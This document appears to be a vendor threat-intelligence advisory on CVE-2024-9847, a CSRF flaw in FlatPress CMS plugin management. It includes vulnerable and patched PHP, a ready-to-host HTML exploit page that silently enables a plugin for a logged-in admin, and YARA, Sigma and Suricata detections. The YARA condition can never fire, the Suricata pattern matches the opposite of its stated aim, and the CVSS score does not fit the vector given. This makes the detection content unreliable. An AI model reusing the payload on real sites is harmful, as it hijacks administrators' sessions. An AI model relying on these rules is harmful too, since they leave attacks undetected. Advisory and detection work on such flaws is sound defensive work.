CVE-2024-9847

Executive Summary

CVE-2024-9847 is a Cross-Site Request Forgery (CSRF) vulnerability affecting FlatPress CMS, a flat-file content management system. The vulnerability allows an unauthenticated attacker to trick an authenticated administrator into performing unintended actions, specifically enabling or disabling plugins. The attack requires user interaction (clicking a malicious link or visiting a crafted page) but no authentication from the attacker. The CVSS score of 8.0 (High) reflects the potential for complete compromise of plugin configuration, which can lead to arbitrary code execution if a vulnerable plugin is enabled.

This vulnerability is particularly dangerous because FlatPress is often used for personal blogs and small websites where administrators may not implement additional CSRF protections. The lack of CSRF tokens in plugin management endpoints makes exploitation straightforward.

Supply Chain & Package Security

FlatPress is a PHP-based CMS distributed as a ZIP archive from its official website and GitHub repository. There is no package manager (NPM, PyPI, Go, Ruby) involved. The supply chain risk is limited to the integrity of the downloaded archive. Administrators should verify checksums and only download from the official GitHub releases page.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Attacker does not need authentication.
• User Interaction (UI): Required (R) – Victim must click a link or visit a page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Enabling a malicious plugin can lead to data exfiltration.
• Integrity (I): High (H) – Plugin state can be altered, potentially allowing code modification.
• Availability (A): High (H) – Disabling critical plugins can cause denial of service.

Threat Level: High. The attack is easy to execute, requires minimal user interaction, and can lead to full site compromise if a plugin with file upload or code execution capabilities is enabled.

Deep Dive & Mechanics

The vulnerability resides in the plugin management functionality of FlatPress CMS. The admin panel provides endpoints to enable or disable plugins via HTTP GET requests without any CSRF token validation. The typical request to enable a plugin looks like:

GET /admin.php?p=plugin&action=enable&plugin=plugin_name

Since there is no Referer header check, no CSRF token, and no SameSite cookie attribute enforcement, an attacker can craft a simple HTML page or email that triggers this request when the victim (authenticated admin) visits it.

Attack Flow:

1. Attacker identifies a FlatPress instance (e.g., via Shodan).
2. Attacker crafts a malicious HTML page containing an image tag or a form that auto-submits to the vulnerable endpoint.
3. Attacker sends the link to the victim (e.g., via email, social media, or a forum).
4. Victim, authenticated as admin, clicks the link.
5. The browser sends the forged request with the victim's session cookie.
6. The server processes the request, enabling or disabling the specified plugin.

Impact: An attacker could enable a plugin that allows file uploads, remote code execution, or data exfiltration. Conversely, disabling security plugins could weaken the site's defenses.

Vulnerable vs. Patched Code

Vulnerable Code (FlatPress <= 1.3.1): In admin/plugins.php, the plugin enable/disable actions are handled without CSRF protection:

// Vulnerable: No CSRF check
if ($action == 'enable') {
    $plugin = $_GET['plugin'];
    // Enable plugin logic
} elseif ($action == 'disable') {
    $plugin = $_GET['plugin'];
    // Disable plugin logic
}

Patched Code (FlatPress 1.4.dev): The development branch introduces a CSRF token check:

// Patched: CSRF token validation
if (!isset($_GET['token']) || $_GET['token'] !== $_SESSION['csrf_token']) {
    die('CSRF validation failed');
}
if ($action == 'enable') {
    $plugin = $_GET['plugin'];
    // Enable plugin logic
} elseif ($action == 'disable') {
    $plugin = $_GET['plugin'];
    // Disable plugin logic
}

The patch adds a token parameter that must match the session-stored CSRF token, preventing cross-origin requests from succeeding.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A FlatPress instance (version <= 1.3.1) with an authenticated admin session.
• Attacker-controlled web server or ability to inject HTML into a page the victim visits.

Exploit Payload (HTML):

<!DOCTYPE html>
<html>
<body>
<h1>Click this link to win a prize!</h1>
<img src="http://target-flatpress/admin.php?p=plugin&action=enable&plugin=malicious_plugin" style="display:none;">
<script>
// Alternative: Auto-submit form
document.write('<form id="csrf" action="http://target-flatpress/admin.php?p=plugin&action=enable&plugin=malicious_plugin" method="GET"></form>');
document.getElementById('csrf').submit();
</script>
</body>
</html>

Step-by-Step:

1. Host the above HTML on an attacker-controlled server.
2. Send the link to the victim (e.g., via email).
3. Victim clicks the link while authenticated to FlatPress.
4. The plugin malicious_plugin is enabled (must exist on the server).

Note: No public exploit code exists on Exploit-DB. The above is a generic CSRF payload.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual GET requests to /admin.php?p=plugin&action=enable or disable from unexpected referrers.
• Alert on multiple plugin state changes within a short time window.
• Check for missing Referer header or Origin header mismatch.

Prevention:

• Apply the patch from version 1.4.dev or implement custom CSRF tokens.
• Use SameSite=Strict or SameSite=Lax cookies.
• Implement Referer header validation.
• Use a Web Application Firewall (WAF) to block requests without proper tokens.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /admin.php?p=plugin&action=enable&plugin=* or action=disable&plugin=* without a token parameter.
  • Requests with Referer header pointing to an external domain.
• File System:
  • Unexpected plugin files in fp-plugins/ directory.
  • Modified plugin configuration files.
• Logs:
  • Admin activity logs showing plugin enable/disable actions without corresponding CSRF token validation.

Detection Engineering

YARA Rule

rule CVE_2024_9847_CSRF_FlatPress {
    meta:
        description = "Detects CSRF exploitation attempts against FlatPress CMS plugin management"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-9847"
    strings:
        $csrf_payload = /admin\.php\?p=plugin&action=(enable|disable)&plugin=[a-zA-Z0-9_-]+/
        $no_token = /&action=(enable|disable)&plugin=/ nocase
    condition:
        $csrf_payload and not $no_token
}

Sigma Rule

title: FlatPress CMS Plugin CSRF Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting FlatPress plugin enable/disable without CSRF token
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'p=plugin&action=enable'
            - 'p=plugin&action=disable'
        cs-uri-query|not_contains: 'token='
    condition: selection
falsepositives:
    - Legitimate admin actions if CSRF token is not implemented
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9847 FlatPress CMS Plugin CSRF Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin.php"; http_uri; content:"p=plugin&action="; http_uri; content:"enable"; http_uri; content:"plugin="; http_uri; pcre:"/token\=/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to FlatPress 1.4.dev (development branch) or apply the CSRF token patch manually.
2. Implement CSRF tokens in all admin actions if patching is not possible.
3. Set cookies with SameSite=Strict attribute.
4. Validate Referer header to ensure requests originate from the same origin.

Long-term:

• Monitor the FlatPress GitHub repository for official stable release with the fix.
• Conduct regular security audits of CMS plugins.
• Educate administrators about phishing attacks targeting CMS admin panels.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to /admin.php?p=plugin&action=* that lack a token parameter.
• Restrict admin access to trusted IP addresses via .htaccess or firewall rules.

Valters IT
DevSecOps & Cyber Threat Intelligence